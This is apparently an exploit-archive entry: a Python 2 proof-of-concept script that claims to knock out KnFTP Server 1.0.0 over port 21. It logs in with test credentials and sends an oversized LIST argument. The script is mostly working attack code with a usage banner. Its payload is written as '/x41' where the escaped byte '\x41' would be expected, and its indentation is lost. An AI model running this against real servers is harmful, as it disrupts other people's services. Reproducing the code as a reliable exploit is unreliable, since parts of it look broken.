KnFTP Server version 1.0.0 LIST denial of service proof of concept exploit.
a72acf4b3f794d9350cade34d6f0dfdb#!/usr/bin/python
#
# e-mail: [email protected]
#
# Date: 06/13/2021 - 13 jun
#
# Version Vulnerable: KnFTP 1.0.0 Server
#
# OS Tested: Windows XP PACK 3 Brazilian
import socket
import sys
if len(sys.argv) != 2:
print "########################################################"
print "# #"
print "# KnFTP 1.0.0 Server - 'LIST' Denied of Service #"
print "# #"
print "# Author: Fernando Mengali #"
print "# #"
print "# Usage: exploit.py <IP> #"
print "# #"
print "########################################################"
sys.exit(1)
target = sys.argv[1]
payload = "/x41"*500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect = s.connect((target, 21))
print "[+] Conectado com sucesso"
except:
print "[-] Falha ao conectar para o servidor..."
sys.exit(0)
s.recv(1024)
print "[+] Autenticando..."
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS test\r\n')
s.recv(1024)
s.send('LIST '+payload+'\r\n')
print "[+] Enviando pacote crafted..."
s.close()